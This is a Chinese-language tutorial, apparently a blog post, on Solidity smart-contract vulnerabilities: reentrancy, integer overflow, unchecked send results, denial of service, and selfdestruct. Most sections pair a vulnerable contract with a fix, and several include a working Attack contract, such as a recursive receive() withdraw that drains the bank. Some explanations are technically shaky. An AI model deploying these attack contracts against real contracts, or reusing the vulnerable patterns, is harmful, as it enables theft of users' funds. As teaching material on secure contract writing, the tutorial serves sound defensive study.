1.重入攻击
漏洞分析
攻击者利用合约漏洞,通过fallback()或者receive() 函数进行函数递归进行持续取钱。
刚才试了一下可以递归10次,貌似就结束了(version: 0.8.20)。
直接看代码:
- 银行合约:有存钱、取钱、查看账户余额等函数。
- 攻击合约: 攻击、以及合约接受以太币就触发的receive()函数。
分析 : 攻击者通过Attack 合约调用attack()接口,先存钱,后进行取钱;那么Bank会向该合约发送以太币,进而触发Attack合约的 receive()函数,然后又进行取钱操作,由于形成递归操作,Bank合约的withdraw()接口的,账户置0操作无法执行,从而形成无限递归。
javascript
// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;
contract Bank {
mapping (address => uint) public balances; // 账户 => 余额
// 存钱函数
function desposit() public payable {
require(msg.value >0, "save money cannot be zero");
balances[msg.sender] += msg.value;
}
// 取钱函数
function withdraw() public{
require(balances[msg.sender] >0,"balance is not exists");
(bool success,) = msg.sender.call{value:balances[msg.sender]}(""); // 递归下面的操作必须等待递归之后才能执行
balances[msg.sender] = 0; // 置0 操作
}
// 查看账户余额
function getBalance() public view returns(uint){
return balances[msg.sender];
}
}
contract Attack {
Bank public bank;
constructor( address _bankAddress){
bank = Bank(_bankAddress);
}
// 攻击函数
function attack() public payable {
bank.desposit{value:msg.value}();
bank.withdraw();
}
receive() external payable {
if(address(bank).balance >0){ //如果银行合约还有钱持续调用
bank.withdraw();
}
}
}
漏洞解决
1. 采用更为安全的转账函数
原理 :函数的执行会消耗gas,如果可支付gas 不满足 递归消耗的gas,从而报错进行合约状态回滚。
<address>.transfer(): 发送失败则回滚交易状态,只传递 2300 Gas 供调用,防止重入。
<address>.send(): 发送失败则返回 false,只传递 2300 Gas 供调用,防止重入。
**<address>.call():**发送失败返回 false,会传递所有可用 Gas 给予外部合约 fallback() 调用;可通过 { value: money } 限制 Gas,不能有效防止重入。payable 标识符
在函数上添加 payable 标识,即可接受 Ether,并将其存储在当前合约中。
2.互斥锁
**原理:**第一去取钱,状态变量修改为true,从而将函数锁住,必须等这次函数执行完毕,才能重新对函数进行调用。
3. 先将账户余额置0,再转账
原理: 先账户置0,就算转账触发递归,再次取钱 ,由于账户余额小于0,会直接抛异常。(当攻击这利用Attack合约攻击已修复好Bank合约,按道理能触发递归,接着会报 "balance is not exists",但是他却能正常执行,但是重入没触发,钱存到Bank里,没有拿回来。)
2.整形溢出
漏洞分析
算术溢出(arithmetic overflow)或简称为溢出(overflow)是指在
计算机领域里所发生的。运行单项数值计算时,当计算产生出来的
结果大于寄存器或存储器所能存储或表示的能力限制的情况就称为
算术上溢。反之,称为算术下溢。
我的理解:++输入的数字超过计编程语言的数据类型设置的最大范围,表现出的数字跟预想数字不一致。++
举例: 一个数据类型A取值范围是 0- 5 ,那么3 - 3 = ? 对于数据类型A的结果是多少?
我们可以把 0 - 5看成一个圈, A的最小值是0, 那么 -1 就是5, 那么-3 就是3;
3 + 3 = 6,由于A最大值5,溢出之后, 6 -> 0。
看代码:
javascript
// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
// 存钱并且冻结账户一周
function deposit() public payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
// 增加冻结时间
function addLcokTime(uint _time) public {
lockTime[msg.sender] += _time;
}
// 取钱
function withdraw() public {
require(balances[msg.sender] > 0, "balance cannot be zrro");
require(block.timestamp > lockTime[msg.sender] , " account is still frozen");
uint _value = balances[msg.sender];
balances[msg.sender] = 0;
(bool success,) = msg.sender.call{value:_value}("");
}
}
contract Attack{
receive() external payable {}
TimeLock public timelock;
constructor(address _timelock) {
timelock = TimeLock(_timelock);
}
function attack() public payable {
timelock.deposit();
timelock.addLcokTime(
type(uint).max + 1 - timelock.lockTime(address(this))
// 传入uint 最大 + 1 ,溢出变成0, - timelock.lockTime(address(this)) 与拿到map里的冻结时间,与原先冻结时间,相加溢出也变成0. 6 -6 =0
);
timelock.withdraw();
}
}
漏洞解决
其实引入SafaMath库.参考这篇博客,其实原理很简单。
solidity合约开发-SafeMath_北纬32.6的博客-CSDN博客
我们把TimeLock 合约修改如下:
我们通过将2个值相加的结果,与 2个值进行比较,如果a + b发生溢出,那么 c 会小于a 或者b,从而抛出异常无法执行。
javascript
contract TimnLock {
......
function sum(uint a, uint b) public pure returns(uint){
uint c = a + b;
require(c >=a && c >= b, "overflow is trigger!");
return c;
}
......
}
3. 未检查返回值
漏洞分析
在soldity中,像send、call、callcode 、delegatecall 和staticcal这些低级函数,会产生返回值作为执行结果,如果我们没有对其返回值进行判断很容易发生逻辑错误。
看下面代码:
我们Lotton合约中sendTowinner()并没有对send()的结果进行处理。
假如,我们没有赞助商通过deposit()赞助奖金,那么 send()函数会因为当前合约balance为0,没有足够eth转账,从而返回false。接着 payedOut 变为true。getWinAmount()进而能正常调用。但这并不是我们希望看到的。
我们希望send()成功,接着 payedOut 变为true,最后公开金额数量。
javascript
contract Lotto{
bool public payedOut = false;
address public winner; // 获胜者
uint private winAmount = 10000; // 获胜金额
// 2.向获胜者发送奖金
function sendTowinner(address _addr) public {
require(!payedOut);
winner = _addr;
payable(winner).send(winAmount);
payedOut = true;
}
// 3. 向外进公开获胜者的金额数量
function getWinAmount() public view returns(uint){
require(payedOut);
return winAmount;
}
// 1.赞助商赞助奖金
function desposit() public payable {
winAmount = msg.value;
}
}
漏洞解决
javascript
// 向获胜者发送奖金
function sendTowinner(address _addr) public {
require(!payedOut);
winner = _addr;
bool success = payable(winner).send(winAmount);
// payable(winner).transfer(winAmount); ,失败直接会报错
require(success,"send falied");
payedOut = true;
}
4.拒绝服务
我的理解:在soldiity里,拒绝服务漏洞可以简单理解为,因为合约内部或者外部账户操作,致使合约中的函数能大量消耗gas 和Ether或者不能被访问,从而使该函数无法正常执行。
举个例子:超市有三个收银点,正常来说人们排队在收银点进行扫码支 付,但是有一天网络出现了问题,所有收银点的顾客扫码支付都失败了, 而后面的人也不能进行支付买单,就导致了收银点的堵塞,超市不能正常 运营。又或者,在支付时有顾客故意闹事,使得后面的顾客也不能去支 付,这同样也会导致超市不能运营。我们可以看到有来自内部的,还有来 自外部的,都是可能会造成拒绝服务攻击。
1.在外部操控映射或者数组循环
这种情况一般是由于映射或数组循环在外部能被其他人操控,由于映射或数组没有长度没有被限制,从而导致大量消耗Ether和Gas。
看代码:
javascript
// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;
/*
*@tile: 分发代币
*/
contract DistributeTokens{
uint public amount;
address public owner;
address[] public investors; // 投资者数组
uint[] public investorTokens; // 每个投资者的token
uint currentIndex;
event Transfer(address _from, uint _amount); // 转让代币触发的事件
constructor(){
owner = msg.sender;
}
// 投资者调用,记录每个投资者的地址,和应该分发的代币
function invest() public payable {
investors.push(msg.sender);
investorTokens.push(msg.value *5);
}
// 首次代币分发
function distribute() public {
require(msg.sender == owner);
for (uint i =0;i < investors.length && gasleft() > 30000; i++) {
transferToken(investors[i],investorTokens[i]);
currentIndex = i;
}
}
function transferToken(address _from,uint _amount) public {
// 在这里执行代币转移操作,将代币从合约地址转移到投资者地址
amount += _amount; // 记录总代币
emit Transfer(_from,_amount);
}
}
在上面的代码片段中我们可以看到,distribute() 函数中会去遍历投资者数 组,但是合约的循环遍历数组是可以被外部的人进行人为扩充,如果有攻 击者要攻击这个合约,那么他可以创建多个账户加入投资者的数组,让 investors 的数据变得很大,大到让循环遍历数组所需的 gas 数量超过区块 gas 数量的上限,此时 distribute() 函数将无法正常操作,这样就会造成该 合约的拒绝服务攻击。
解决:如果合约必须通过一个变长数组进行转账,最好估计区块有多少笔交易,从而限制数组长度,另外必须追踪到能够进行到哪以便当操作失败开始从哪里恢复。
上面代码修改:
通过currentIndex 记录遍历数组当前索引,以便出异常查询。在循环中,加入gasleft()比较,从而限制gas的使用。
2.所有者操作
在代币合约中,通常有一个owner账户,也就是合约所有者账户,其拥有开启和暂停交易的权限。如果owner地址缺失,导致非主观的拒绝服务攻击。
在ICO结束后,如果特权用户丢失,其私钥可能会变为非活动状
态,此时,无法调用*finalize()*函数开启交易,那么用户就一直不能发送代
币,合约也就不能进行正常操作了。
解决 : 不能特权用户权限作为唯一判断条件,从而导致整个合约瘫痪。
5. 自毁函数
漏洞分析
参考资料:
智能合约安全审计入门篇 ------ 自毁函数 | 登链社区 | 区块链技术社区 (learnblockchain.cn)
首先,这个在0.8.21版本自毁函数不支持用了。
看下面代码,我们有一个存钱函数,每次只能存一个Ether,如果合约余额大于7个Ether就终止,合约balance == 7个Ether就选出获胜者,并且能赢得这个7个Ether。
javascript
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
contract EtherGame {
uint public targetAmount = 7 ether;
address public winner;
// 存钱
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
uint balance = address(this).balance;
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
// 获胜者取钱
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}
然后我们,再看漏洞代码,将attack()函数将合约自毁后,将剩余余额发送给EtherGame合约,
假如,我们上面合约余额正好 == 6eth时,攻击者通过自毁向game合约发送1eth 或大于1eth,那么game合约由于合约逻辑将无法选出获胜者,那么正常用户通过合约存进的以太币将全部打水漂。。
javascript
contract Attack {
EtherGame ethergame;
constructor(address _ethergame) {
ethergame = EtherGame(_ethergame);
}
function attack() public payable {
address payable adr = payable(address(ethergame));
selfdestruct(adr);
}
}
漏洞解决
不宜使用合约真实balance 来作为逻辑判断条件。
下方,我们定义合约余额变量来映射真实合约余额,就算攻击者再次利用自毁函数进行攻击,但由于合约余额变量并未改变将攻击失败。